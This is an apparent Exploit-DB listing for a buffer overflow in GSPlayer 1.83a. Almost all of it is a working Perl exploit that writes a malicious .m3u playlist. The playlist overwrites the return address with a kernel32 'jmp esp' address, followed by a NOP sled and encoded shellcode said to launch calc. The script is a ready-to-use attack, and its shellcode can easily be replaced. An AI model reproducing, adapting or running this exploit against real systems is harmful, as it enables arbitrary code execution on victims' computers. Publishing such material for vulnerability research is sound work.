GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability



EDB-ID: 15417 CVE: N/A OSVDB-ID: 69006
Author: moigai Published: 2010-11-04 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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# Exploit Title: GSPlayer 1.83a Win32 Release Buffer Overflow Vulnerability
# Date: 2010/11/04
# Author: moigai
# e-mail: again.liu@gmail.com
# Software Link: http://www.vector.co.jp/download/file/win95/art/fh296344.html
# Version: 1.83a Win32 Release
# Tested on: Windows XP SP3 En (VM)

my $file = "GSPlayer.m3u";

my $junk1 = "\x41" x 257;

#jmp esp from kernel32.dll
my $eip = pack('V',0x7C86467B);
my $junk2 = "Ai7Ai8Ai";
my $nop = "\x90" x 30;

#executes calc
my $shell = 
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

my $payload = $junk1 . $eip . $junk2 . $nop . $shell;
my $rest = "\x42" x (4064 - length($payload));
$payload = $payload . $rest . ".mp3";

print "\n[+] Creating m3u file\n";
open(FILE, ">$file");
print FILE $payload;
close(FILE);
print "[+] File " . $file . " created\n";